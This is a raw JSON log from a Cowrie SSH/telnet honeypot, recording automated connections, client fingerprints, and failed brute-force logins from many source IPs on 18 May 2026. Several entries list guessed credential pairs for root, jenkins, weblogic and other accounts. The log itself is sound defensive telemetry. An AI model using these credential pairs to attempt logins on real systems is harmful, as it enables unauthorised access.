{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:13.535933Z","src_ip":"186.13.24.118","session":"d909a1811551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46820,"dst_ip":"159.203.135.109","dst_port":22,"session":"73de07944c18","protocol":"ssh","message":"New connection: 176.65.132.129:46820 (159.203.135.109:22) [session: 73de07944c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:14.418001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:14.423316Z","src_ip":"176.65.132.129","session":"73de07944c18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:14.510779Z","src_ip":"176.65.132.129","session":"73de07944c18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:14.872532Z","src_ip":"176.65.132.129","session":"73de07944c18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:15.958122Z","src_ip":"176.65.132.129","session":"73de07944c18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.106.202.169","src_port":61788,"dst_ip":"159.203.135.109","dst_port":23,"session":"78930ca504bd","protocol":"telnet","message":"New connection: 118.106.202.169:61788 (159.203.135.109:23) [session: 78930ca504bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:16.901341Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40216,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2f36aaabcab","protocol":"ssh","message":"New connection: 176.65.132.129:40216 (159.203.135.109:22) [session: b2f36aaabcab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:17.823391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:17.827325Z","src_ip":"176.65.132.129","session":"b2f36aaabcab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:17.910403Z","src_ip":"176.65.132.129","session":"b2f36aaabcab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:18.162409Z","src_ip":"176.65.132.129","session":"b2f36aaabcab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:19.295914Z","src_ip":"176.65.132.129","session":"b2f36aaabcab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":43019,"dst_ip":"159.203.135.109","dst_port":22,"session":"a501358c936b","protocol":"ssh","message":"New connection: 213.135.168.228:43019 (159.203.135.109:22) [session: a501358c936b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:19.745736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:19.754360Z","src_ip":"213.135.168.228","session":"a501358c936b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:19.892184Z","src_ip":"213.135.168.228","session":"a501358c936b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qian","message":"login attempt [root/qian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:20.472376Z","src_ip":"213.135.168.228","session":"a501358c936b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40222,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f9964e5709c","protocol":"ssh","message":"New connection: 176.65.132.129:40222 (159.203.135.109:22) [session: 6f9964e5709c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:20.970237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:20.975536Z","src_ip":"176.65.132.129","session":"6f9964e5709c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:21.060063Z","src_ip":"176.65.132.129","session":"6f9964e5709c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:21.307477Z","src_ip":"176.65.132.129","session":"6f9964e5709c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:21.612292Z","src_ip":"213.135.168.228","session":"a501358c936b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":43344,"dst_ip":"159.203.135.109","dst_port":22,"session":"00bf02921cb2","protocol":"ssh","message":"New connection: 82.152.132.24:43344 (159.203.135.109:22) [session: 00bf02921cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:22.385687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:22.395443Z","src_ip":"82.152.132.24","session":"00bf02921cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:22.399622Z","src_ip":"176.65.132.129","session":"6f9964e5709c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:22.522110Z","src_ip":"82.152.132.24","session":"00bf02921cb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aaa123321","message":"login attempt [root/Aaa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:23.060631Z","src_ip":"82.152.132.24","session":"00bf02921cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:24.189830Z","src_ip":"82.152.132.24","session":"00bf02921cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40226,"dst_ip":"159.203.135.109","dst_port":22,"session":"5383f1579126","protocol":"ssh","message":"New connection: 176.65.132.129:40226 (159.203.135.109:22) [session: 5383f1579126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:24.307678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:24.327567Z","src_ip":"176.65.132.129","session":"5383f1579126","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:24.392235Z","src_ip":"176.65.132.129","session":"5383f1579126","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:24.711981Z","src_ip":"176.65.132.129","session":"5383f1579126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:25.798137Z","src_ip":"176.65.132.129","session":"5383f1579126","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43812,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b1f08263213","protocol":"telnet","message":"New connection: 152.42.224.71:43812 (10.17.0.5:23) [session: 9b1f08263213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:26.589425Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42146,"dst_ip":"159.203.135.109","dst_port":22,"session":"90b97d5b5968","protocol":"ssh","message":"New connection: 176.65.132.129:42146 (159.203.135.109:22) [session: 90b97d5b5968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:27.672479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:27.677800Z","src_ip":"176.65.132.129","session":"90b97d5b5968","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:27.766190Z","src_ip":"176.65.132.129","session":"90b97d5b5968","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:28.013154Z","src_ip":"176.65.132.129","session":"90b97d5b5968","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:29.100747Z","src_ip":"176.65.132.129","session":"90b97d5b5968","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":51012,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6846903acee","protocol":"ssh","message":"New connection: 94.159.98.239:51012 (159.203.135.109:22) [session: a6846903acee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:29.108298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:29.113149Z","src_ip":"94.159.98.239","session":"a6846903acee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:29.236461Z","src_ip":"94.159.98.239","session":"a6846903acee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"left4dead","message":"login attempt [root/left4dead] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:29.614621Z","src_ip":"94.159.98.239","session":"a6846903acee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.659415006637573,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:29.749034Z","src_ip":"152.42.224.71","session":"b0f1d1c9149e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59786,"dst_ip":"159.203.135.109","dst_port":22,"session":"024069bd120e","protocol":"ssh","message":"New connection: 51.250.105.222:59786 (159.203.135.109:22) [session: 024069bd120e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:29.927975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:29.933488Z","src_ip":"51.250.105.222","session":"024069bd120e","protocol":"ssh"}
